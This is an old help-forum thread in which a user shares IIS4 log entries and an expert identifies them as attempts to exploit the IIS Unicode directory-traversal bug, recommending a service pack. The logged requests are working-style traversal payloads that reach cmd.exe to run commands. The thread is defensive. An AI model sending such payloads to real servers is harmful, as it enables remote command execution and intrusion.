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what does this IIS log tell me...

Posted on 2001-06-06
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Last Modified: 2008-02-07
The following entries are found in my IIS log file. Please tell me what does it mean. (NT4 + IIS4) Thanks,

2001-05-19 08:27:14 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 3 604 85 150 80 HTTP/1.0 - - -
2001-05-19 08:27:14 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 404 3 604 85 160 80 HTTP/1.0 - - -
2001-05-19 08:27:15 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 404 3 604 85 160 80 HTTP/1.0 - - -
2001-05-19 08:27:15 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 3 604 85 160 80 HTTP/1.0 - - -
2001-05-19 08:27:16 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 3 604 85 150 80 HTTP/1.0 - - -
2001-05-19 08:27:16 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 404 3 604 85 160 80 HTTP/1.0 - - -
2001-05-19 08:27:18 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..A../winnt/system32/cmd.exe /c+dir 404 3 604 85 160 80 HTTP/1.0 - - -
2001-05-19 08:27:18 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 404 3 604 85 160 80 HTTP/1.0 - - -
2001-05-19 08:27:19 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..o../winnt/system32/cmd.exe /c+dir 404 3 604 85 160 80 HTTP/1.0 - - -
2001-05-19 08:27:19 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 3 604 88 140 80 HTTP/1.0 - - -
2001-05-19 08:27:21 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..????../winnt/system32/cmd.exe /c+dir 404 3 604 91 160 80 HTTP/1.0 - - -
2001-05-19 08:27:21 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..?????../winnt/system32/cmd.exe /c+dir 404 3 604 94 170 80 HTTP/1.0 - - -
2001-05-19 08:27:22 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /scripts/..u?????../winnt/system32/cmd.exe /c+dir 404 3 604 97 140 80 HTTP/1.0 - - -
2001-05-19 08:27:22 202.64.252.67 - W3SVC3 SDC1M004 10.2.2.254 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 3 604 114 160 80 HTTP/1.0 - - -
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Question by:jians
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dredge earned 5 total points
ID: 6160688
that means that someone was trying to exploit the UNICODE bug in IIS4.

this was a but that allowed a user to execute command shells through a web page by breaking out of your directory structure by using a unicode error in IIS.

you should install NT Service Pack 6a to fix this problem.
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Author Comment

by:jians
ID: 6161012
Could you point me a link with more details? Thanks!
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Expert Comment

by:dredge
ID: 6161079
http://www.microsoft.com/technet/iis/

I can't seem to find the specific Unicode bug anymore, but it used to be listed on the front page.

Service Pack 6a fixes this problem, though.
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Author Comment

by:jians
ID: 6161249
Thanks a lot!
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